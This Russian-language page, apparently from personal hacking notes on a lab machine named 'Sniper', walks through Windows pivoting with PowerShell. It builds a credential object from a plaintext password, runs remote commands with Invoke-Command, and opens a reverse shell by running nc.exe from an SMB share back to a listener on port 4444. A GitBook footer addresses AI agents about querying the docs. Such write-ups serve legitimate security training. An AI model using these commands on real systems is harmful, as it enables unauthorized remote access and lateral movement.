> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/post-exploitation/pivoting-windows-powershell.md).

# Windows pivoting (PowerShell)

### PowerShell

Мы запустили PowerShell на нашей атакующей машине:

```bash
powershell
```

Теперь мы восстановили имя среды Windows с помощью `hostname` команды и подтвердили, что имя хоста — `Sniper`.

```powershell
hostname
```

Затем мы создали переменную для пользователя `Chris` и еще одну для пароля с помощью `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Итак, мы создали `PSCredential` объект, чтобы иметь возможность выполнять команды удаленно на машине:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Выполнение удалённых команд:**/ Теперь мы использовали следующую команду для выполнения `whoami` удаленно и проверить доступ:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Это позволило нам подтвердить, что мы действительно подключены как **Chris**.

<figure><img src="/files/cba8152edb003e1982f573f45f38374a5f9de2e0" alt=""><figcaption></figcaption></figure>

**Обратная оболочка :**/ Чтобы получить полный доступ к системе, мы настроили слушатель на порт 4444:

```bash
rlwrap nc -nlvp 4444
```

Затем мы запустили обратную оболочку, используя `nc.exe` с нашего SMB-сервера:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/8d3042e35982a80b61feff1a95ce20aae9189557" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
